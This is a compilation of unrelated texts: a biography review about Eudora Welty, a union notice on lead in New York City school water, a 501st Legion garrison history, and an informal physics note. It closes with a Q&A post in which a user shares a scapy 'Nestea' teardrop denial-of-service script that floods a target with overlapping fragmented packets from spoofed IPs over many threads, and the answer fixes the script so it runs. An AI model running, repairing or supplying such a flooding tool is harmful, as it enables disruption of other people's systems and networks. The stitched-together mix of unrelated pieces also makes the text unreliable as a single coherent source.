Marrs (English/Millsaps Coll.) takes issue with Ann Waldron's unauthorized biography (Eudora, 1998), which depicted the author as a "charming and successful ugly duckling," and with Claudia Roth Pierpont's equally reductive New Yorker portrait of "a perfect lady—a nearly Petrified Woman." This weightily detailed volume emphasizes Welty's restless vitality and openness to new experience. The author does not deal in psychoanalytical fine points. In her account, Welty (1909–2001) had a happy childhood in Jackson, Miss., sheltered by adoring parents with whom she would live well into her adult years, but broadened by travel, especially to New York City. Moving from photography, her first love, to fiction, Welty encountered success fairly early and by 1936 saw the publication of her first story, "Death of a Traveling Salesman," along with an exhibition of her photographs at a New York gallery. She gradually built up a repertory of exquisitely crafted stories, published as A Curtain of Green in 1941, and garnered a close working relationship with the literary names that would mentor and sponsor her, such as Katherine Anne Porter, Robert Penn Warren, William Maxwell and loyal agent Diarmuid Russell. Welty overcame the crushing disappointment of never marrying her hometown beau, John Robinson, whose inferior literary talent and conflicted sexuality drove him from her by middle age. Gracious to younger talent, she was instrumental in promoting the work of others, such as Reynolds Price. Marrs tenderly asserts that Welty enjoyed an independent life characterized by "the presence of melancholy intertwined with joy." However, her reluctance to make autobiographical suppositions about her subject's work leaves this volume faintly dry and ethereal.
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New state regulations mandating the testing for lead in water in all public New York schools went into effect on Sept. 6, 2016. To comply with these new state laws, the DOE has been testing all water outlets in all New York City schools for lead. Chapter leaders may have already or soon will receive the results from the testing conducted at schools via their principals. As part of this new state regulation, notification letters on the results must be sent to school staff and parents of students. You may also access your school's results on the DOE's Water Safety website.
DOE testing began in December 2016 and the UFT began receiving test results this year in January. Since then, the UFT Safety and Health department receives all reports from the DOE and is monitoring the testing to ensure notification and remediation occurs according to these new laws. We are also recommending that chapter leaders walk through their schools to ensure that where there were elevated levels that those particular sinks or fountains are not used for drinking. Do note that because lead does not absorb through the skin, state regulations do not require sinks that can be used for handwashing to be shut off if a sign is posted to tell people that the water is NOT to be used for drinking but can be used for handwashing. The sign is only a temporary measure. Water service to outlets with the express purpose of drinking or cooking (i.e., fountains and kitchen sinks) must be shut off. Notify us if this is not being followed.
Following findings of elevated levels, the DOE will remediate the problem by identifying and removing whatever the source of the lead may be (i.e., brass fixtures, valves, fittings, solder, etc). The water will be retested for lead afterward. If the lead levels are below the state standard of 15 parts per billion (ppb), it can be returned to service and the sign be removed. If not, further remediation is required until test results show that lead levels are below 15 ppb at that outlet.
As for the health effects and potential exposure, we are recommending to members who frequented an outlet with elevated levels and think they have been exposed to lead to ask their doctors for a blood lead test. The water we source from the city is rigorously tested to ensure that it is safe; however, it may pick up lead once it enters a school building with lead in its plumbing system and especially after the water sits for long periods of time in pipes that may contain lead. Flushing by the custodian and continuous use by occupants in the building should move water along and prevents lead contamination from water sitting in pipes over long periods of time. Citywide water testing in schools has occurred three times in the past, and historically we have not yet had a case of lead poisoning among members (and students) that was linked back to the water in their school. Nonetheless, we still recommend that if members think they have been exposed to lead that they ask their doctors for a blood lead test. Bring your school's notification letter to your doctor and request a blood test that can determine lead levels in the body. Do let the UFT Safety and Health Department know if you have a diagnosis of elevated blood lead levels in your school. If you have any further questions, feel free to contact your district representative, borough safety and health specialist or the UFT safety and health department.


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Garrison Corellia is a chapter of the 501st Legion serving the great state of West Virginia. Garrison Corellia is proud to participate in a wide array of charity and non-profit events throughout our state and within our local communities. Freely volunteering their time to help others while celebrating Star Wars, our members are always looking for opportunities to contribute , inspire and spread joy to the communities and state of West Virginia.
Garrison Corellia was created out of Garrison Carida. Carida originally included Pennsylvania, Delaware, and West Virginia. Carida members from West Virginia created a small unit called Squad Corellia in December 2012 and grew in numbers until we could create our own garrison for West Virginia. As members, we are committed to the community and offer support at charity events, fundraisers and social functions by appearing in movie-accurate costumes. While we do not charge fees to make an appearance, we encourage those requesting us to appear at an event to make a donation to charity.
Naming of the Legion
(as told by Albin Johnson, Founder of the 501st Legion)
The real story behind the name "501st" is rather unremarkable. I wanted something that sounded military, had a big number, and ended in a "one" to give it a little authenticity. I also wanted a number that would be alliterative if used in a motto, and I've always liked the motto "Fighting SeaBees" from WWII. Either 400 or 500 sounded good, because both began with a "f" sound. I liked 500 better, just because it's one of those nice round numbers. So 501 worked when I added the "1". The only problem was that, at the time, Levi's 501 jeans were still popular and I was taking a risk that we'd have that joke haunting us. But, luckily, I only heard us being called the "Button Fly Troopers" only once!
As for the "Legion" moniker, that's a different story. The original website was dubbed "Detention Block 2551" and was a simple little geocities site for folks to send in their pics in stormtrooper armor to be displayed. After we got enough people in there, it seemed like a good idea to make a fictional military unit, just as a laugh. My dad being a graduate of WWII airmen school, I liked the idea of a Squadron of fighter pilots. I always liked looking through his graduation book and seeing rows and rows of pictures of cocky pilots with their leather jackets and their rakish grins. But since stormtroopers are ground-pounders, the term "Squadron" didn't make sense. I truncated it to 'Squad' since that was an infantry term. I figured we'd always be a small, intimate group of hobbyists so I stuck with the small-scale unit name instead of something that sounded massive. Not long after that, however, it became obvious that we were getting way too big to be a Squad.
So I started thinking about what term we could use, but two problems existed concerning contemporary military unit names. Firstly, I didn't want to choose a unit name that would pigeonhole us at a fixed size. Secondly, I didn't want to disrespect the real military by putting on airs we were a real regiment, battalion, etc. My solution was to do what Lucas always did: tap into historical source material. Not only did it have the advantage of sounding more ominous, but it enjoyed the ambiguity that the passage of time lent it intuitively. I liked the idea of the old Roman Legion. It was very old word, sounded very distinguished, and even though it did have a fixed number it wasn't readily obvious in the contemporary context. When I re-watched ROTJ and noticed that Palpatine mentioned two of his "finest Legions" were on Endor, I knew we had something that had roots in the Star Wars universe. Problem solved! (…except for the fact that the Legions we see ended up being only about 3 score men—not an incredible number for a final battle! I've always wondered why Lucas re-did the trilogy without adding a thousand computer generated troopers in the Endor battle. Go figure.)
Lastly, I wanted a name for our regional chapters. I knew this club wouldn't survive long if everyone was paying tribute to the bigger club all the time. Eventually, local preferences would win out and independent-minded people would want to strike off on their own. The Legion would have a definite expiration date then! So I went back to the Roman Empire model of occupation and, considering we're pretending that the Legion is occupying puny little Earth, I felt that Garrisons would describe regional units created to occupy territories. The first three Garrisons were pretty simple: East, West, and Central. But they weren't called Garrisons until the map was divided a little more into big chunks of the U.S. The original Garrisons were: Eastern, Southern, Central, Midwest, Southwest, and Northwest as well as a European Garrison overseas. As you can guess, these units were carved up into more practical units quickly, although Central and Midwest remain to this day and Southern became an Outpost but will probably stay that way in name only now that it is of Garrison size.
Squads were resurrected as units of very local orientation. And the term Detachments (lifted from Vader's speech aboard the Tantive IV) was used to describe theme-based groups within the club. Since the detachment Vader sent to the surface of Tatooine probably consisted primarily of desert troopers, it made sense that a detachment would have a specialized orientation. Outposts made sense for remote areas. The outpost on Dantooine was referred to in ANH as well, so again we lucked out with a term from the trilogy.
So there you have it. The 501st Legion naming convention history in all its glory. I hope you've all stayed awake long enough to enjoy.
Albin Johnson
TK-210, Founder of the 501st Legion


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\section{Introduction} This is an informal paper, not intended for
publication: the items mentioned in the title

\begin{enumerate}
\item the Aharonov-Bohm effect
\item non-commutative geometry
\item dislocation theory, in particular concerning the role of the
Burgers vector \item magnetism (mainly spin-orbit interaction)
\end{enumerate} are considered and put into context. In this way we hope
to remove certain {\it high-browed} features from the issue, at the same
time clarifying the general meaning of the first and second terms, and
also putting some emphasis on the work of the community studying the
third or fourth one, often without relation to those working on one of
the two first-mentioned subjects.

\section{The Aharonov-Bohm Effect} The Aharonov-Bohm effect, see
\cite{Bohm}, is an important quantum-mechanical phenomenon showing
explicitly that quantum-mechanics is not a classical theory as usual,
for example, as Newtonian mechanics or conventional electromagnetism. A
magnetic induction $\vec B$ is considered, which gives rise to an {\it
interference effect} of electrons, which are definitely outside the
range where the Lorentz forces act and some effect could naturally be
expected. Nevertheless, a well-defined interference is observed, since
in quantum mechanics it is not $\vec B$, but the {\it magnetic vector
potential} $\vec A$ that counts; of course, the {\it closed-loop
property} of the integration path also counts, see below.

In fact, in quantum mechanics the behaviour of a charged particle  is
described by the Hamiltonian \begin{equation} {\cal H}=\frac{(\vec{\hat p} -q\vec
A)^2}{2m}+q\Phi({\vec r} ,t)\,. \end{equation} Here we work in the SI-system; $q$ is
the charge and $m$ the mass of the particle, $\vec {\hat p}$ is the
momentum operator, $\vec A(\vec r, t)$ the vector potential and
$\Phi(\vec r, t)$ the scalar potential of the electromagnetic field,
{\it i.e.}: \begin{equation} \vec B=\rm{rot\,}\vec A \, \end{equation} and \begin{equation} \vec
E=-\rm{grad\,}\Phi-\frac{{\partial} \vec A}{{\partial} t}\,.\end{equation}

In the following, for simplicity, let us consider only situations where
neither the electrical field $\vec E$ nor the scalar potential $\Phi$
plays a role.

As a consequence, classically, only the magnetic induction $\vec B$ is
important, namely through the Lorentz force, and the Newtonian equation
of motion is simply \begin{equation} m\vec a=q[\vec v\times \vec B]\,, \end{equation} where
$\vec v$ is the velocity and $\vec a$ the acceleration of the particle.
Usually one considers a thin magnetic wire magnetized longitudinally,
such that the magnetic induction outside the wire vanishes. But the
vector potential $\vec A$ does not vanish outside!

To keep gauge invariance, i.e. invariance of the electromagnetic fields
against changes involving an arbitrary gauge function $f$ in the form

\begin{equation} B=\rm{rot\,}\vec A+\rm{grad\,}f\,,\end{equation} \begin{equation}\label{eq7a}\vec
E=-\rm{grad\,}\phi-\frac{{\partial} f}{{\partial} t}\end{equation} it is necessary  to
concentrate on {\it closed loop} integration paths $\Gamma$, i.e. by
representing the {\it closed loop} property by the integration symbol
$\oint$ one has: \begin{equation}\label{eq7} \oint_\Gamma d\vec r\cdot\vec
A={\int\hspace{-0.25cm}\int\hspace{-0.3cm}}_{\,\,F}\,\, \vec B\cdot \vec n\,d^2A\,=:\Phi_F\,. \end{equation} Here
$F$ is any surface clamped into $\Gamma$ (i.e. $\Gamma$ is the boundary
to $F$, $\Gamma ={\partial} F$). Note that there are many different surfaces,
of which the same $\Gamma$ is the boundary; this is the genuine reason
for the gauge degree of freedom.

In (\ref{eq7}) the vector $\vec n$ denotes the {\it normal} to the
surface $F$ and $d^2A$ is the area element. The result of (\ref{eq7}) is
the magnetic induction $\Phi_F$ flux through $F$, i.e. through the wire
cross section, although $F$ can be much larger.

So, the Aharonov-Bohm effect, which was experimentally realized, e.g.,
by B\"orsch {\it et al.}, \cite{Boersch}, shows in a specific way that
quantum-mechanics is {\it more}\, than a classical theory: It is not
$\vec B$ and the corresponding Lorentz force, which counts, but the
magnetic flux $\Phi_F$ through an arbitrary closed loop $\Gamma$, or
equivalently the circumferential integral $\oint_\Gamma\,d{\vec
r}\cdot\,{\vec A}\,$, which is identical with $\Phi_F$. Thereby the
essential point is to note that the flux may correspond to a very small
part of the interior of $\Gamma$, and not to the totality of it.

\section{Non-commutative Geometry} The effect can also be interpreted as
a change of geometry induced by the magnetic flux. This is called {\it
non-commutative geometry}, see e.g. \cite{Connes}, since $[p_j,p_k]\psi
=0$, $\forall \psi$, whereas $[p_j-qA_j, p_k-qA_k]\psi=q\hbar{\rm
i}\cdot\{ [\partial_j A_k]\psi + [A_j\partial_k ]\psi \} \ne 0$ . The
term {\it non-commutative geometry}\, may look highbrowed to people from
the solid-state community, but it turns out that this is not so. In
fact, the closed line $\Gamma$ corresponds to the Burgers loop in {\it
dislocation theory}, and the magnetic induction $\vec B$ to the {\it
dislocation density} $\stackrel{\leftrightarrow}{\eta}$, a tensorial
quantity with two indexes, e.g., essentially the Burgers vector $\vec b$
of the dislocation,  times the tangent vector $\vec \tau$ of the
dislocation line. The fundamental equation between $\vec B$ and $\vec
A$, namely $B_i =\epsilon_{i,j,k}\partial_j A_k$, with the well-known
antisymmetric unit tensor $\epsilon_{i,j,k}$, corresponds to the
compatibility equation between the strain
$\stackrel{\leftrightarrow}{\varepsilon}$ and
$\stackrel{\leftrightarrow}{\eta}$, namely ${\rm Ink}\,
\stackrel{\leftrightarrow}{\varepsilon}
=\stackrel{\leftrightarrow}{\eta}$, where the symmetric incompatibility
operator, acting on a symmetric two-tensor $\xi_{j,k}$, is given by
$({\rm Ink}\, \stackrel{\leftrightarrow}{\xi})_{i,j}
:=-\epsilon_{i,k,l}\cdot \epsilon_{j,m,n}\partial_k\partial_m
\xi_{l,n}.$ This result is {\it symmetric} in the indexes i and j, and
also in l and n.

\section{Dislocation theory} The importance of  dislocation theory in
the present context has already been shown in the preceding
section. Additionally we mention the work of E. Kr\"oner, see
\cite{Kroener}, who introduced a close relation between the
source-tensor $\stackrel{\leftrightarrow}{\eta}$ of the incompatibility
and the {\it eigenstresses} of incompatible solids.

 It is well-known that in case of {\it compatibility}, the strains
$\stackrel{\leftrightarrow}{\epsilon}$ can be derived from a {\it shift
vector} $\vec u(\vec r , t)$, through the identity
$\epsilon_{i,k}=(1/2)(\partial_i u_k +\partial_k u_i)$ (for simplicity
we restrict ourselves to linear elasticity).

In contrast, in case of {\it incompatibility}, the above-mentioned
identity does not apply.  However, strains and stresses are related as
usual, and usually dislocations (Burgers vector and tangent line) are
the sources of the incompatibility, see \cite{Kroener} and
\cite{Landau}.

\section{Magnetism} Now the Maxwellian stress tensor
$\tensor{\sigma}_{Maxwell}$ comes into play (which - by the way - in a
magnetic system is not symmetric, due to the torque $dV\, \vec J \times
\vec H$, where $\vec J$ and $\vec H$ have their usual meaning, i.e.,
$dV\,\vec J$ is the magnetic moment of the volume element $dV$, see for
example \cite{Brown}).  Magnetic anisotropies, i.e., the spin-orbit
forces, are particularly important at surfaces and interfaces (i.e., the
spin-transfer across them should also be influenced)  and one should
note the effect of {\it magnetostriction}, which is often neglected,
but important for the sources of incompatibility, especially the
magnetostrictive stresses belong to the {\it non-compatible
eigenstresses} in the sense of E. Kr\"oner. If, e.g., by
magnetostriction the magnetic domains are elongated in the direction of
magnetization and compressed vertically to it, then domains with
different directions usually produce incompatible strains. Here one
should have a look at figure 14 in the above-mentioned book of Kr\"oner.

\noindent But in contrast to elastic and magnetostrictive energies,
yielding exclusively  {\it symmetric\,} stresses,
$\sigma_{i,k}=\sigma_{k,i}$, because the energy depends only on the
symmetric part of the distortions, e.g. ${\epsilon}_{i,k}=(1/2)\cdot
(u_{i,k}+u_{k,i})$, other magnetic interactions also involve the {\it
antisymmetric} part, $u_{[i,k]}=(1/2)\cdot (u_{i,k}-u_{k,i})$. This is
dual to a rotation vector $\vec{\omega}$, e.g. ${\omega}_3:=u_{[1,2]}$, with a
vector potential $\vec A_{\vec {\omega}}$. This must be added to Kr\"oner's
symmetric theory, leads to {\it torsion densities} and to the appearance
of an antisymmetric part of $\sigma_{i,k}\,.$

Moreover, the Burgers loop equation $\oint_{\partial F} {\rm d}u^i\ne
0$, namely $=\int_F\,(g^{\rm dislocation})^i_{\alpha ,\beta
,\gamma}\,{\rm d}x^\beta\cdot {\rm d}x^\gamma$ corresponds exactly to
the dislocation density $(g^{\rm dislocation})^i_{\alpha ,\beta
,\gamma}=b^i\cdot t_\alpha\cdot ({\rm areal\,\,
density\,\,perpendicular}\newline{\rm to\,\,}{\rm d}x^\beta\cdot{\rm
d}x^\gamma )$, and simultanously to the equation $R^i_{\alpha ,\beta
,\gamma}v^\alpha\,{\rm d}x^\beta\cdot dx^\gamma$, with the curvature
tensor $R^i_{\alpha ,\beta ,\gamma}$ of differential-geometric spaces
Thus, dislocations, or magnetism etc., lead to curvature-like phenomena
even with trivial connection (e.g. with $g_{i,k}=\delta_{i,k}$).

\noindent All this may be well-known, but usually the phenomena are
looked upon only separately, if at all.

\section*{Acknowledgements} The author would like to thank C.H. Back, G.
Bayreuther and J. Zweck, and the members of their groups, for continuous
encouragement.

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Q: NameError: name 'nestea' is not defined I am studying the Tear Drop attack.
I found the source code below on the internet. Unfortunately, I get an error.
It seems the indentation is causing an error, but I can not find it.

Traceback (most recent call last):
   File "te.py", line 11, in
     class nestea(Thread):
   File "te.py", line 60, in nestea
     nest = nestea(host, port)
  NameError: name 'nestea' is not defined

#!/usr/bin/python
# -*- coding: utf-8 -*-

from scapy.all import *
from threading import Thread
import string
import random
import argparse
import socket

class nestea(Thread):
    def __init__(self,dst_ip,dst_port):
        Thread.__init__(self)
        self.dst_IP=dst_IP
        self.dst_port=dst_port
        self.running=True
        self.intercount=0
        self.data=random.choice(string.ascii_letters+string.digits)

    def run(self):
        try:
            while self.running:
                print('Packet Sent:'+str(self.intercount))

                self.id=random.choice(range(1,65535))
                self.src_ip=str(RandIP())
                self.src_port=int(RandShort())

                send((IP(src=self.src_ip,dst=self.dst_IP, id=self.id, flags="MF")/UDP(sport=self.src_port,dport=self.dst_port)/((self.data*1420))))
                send((IP(src=self.src_ip,dst=self.dst_IP, id=self.id, frag=130))/(self.data*1420))
                send((IP(src=self.src_ip,dst=self.dst_IP, id=self.id, flags="MF", frag=350)/UDP(sport=self.src_port,dport=self.dst_port)/(self.data*1420)))
                send((IP(src=self.src_ip,dst=self.dst_IP, id=self.id, flags=0, frag=520)/UDP(sport=self.src_port,dport=self.dst_port))/(self.data*1420))
                self.intercount+=1
        except:
            self.run()

    def arg_userage():
        print("hi")
        time.sleep(5)

    def parse():
        parser = argparse.ArgumentParser()
        parser.add_argument('-i',type=str,help='--target IP <Hostname|IP>')
        parser.add_argument('-p',type=int,help='--port <Destination Port>')
        parser.add_argument('-t',type=int,help='--threads <Number of Multi Run threads> Defaults to 256',default=256)
        args=parser.parse_args()
        return args

    if __name__=='__main__':
        arg_userage()
        args=parse()
        if args.i:
            host=args.i
        if args.p:
            port=args.p
        if args.t:
            threads=args.t

        for nest in range(threads):
            nest = nestea(host, port)
            nest.start()

A: It is an indentation problem. The code below should be outside the class. Reduce the indentation of the code below.
    if __name__=='__main__':
        arg_userage()
        ..

to
if __name__=='__main__':
    arg_userage()
    ..